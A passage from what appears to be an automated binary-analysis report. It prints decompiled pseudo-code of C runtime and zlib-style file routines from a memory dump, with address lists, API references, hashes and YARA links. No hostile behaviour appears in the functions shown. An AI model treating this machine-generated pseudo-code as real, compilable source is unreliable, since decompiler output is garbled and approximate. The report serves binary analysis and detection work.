					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00414738, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D, Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x422910
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x422910
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x422910
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(00422910), ref: 00414050

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00413610, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748, Relevance: 6.1, APIs: 4, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
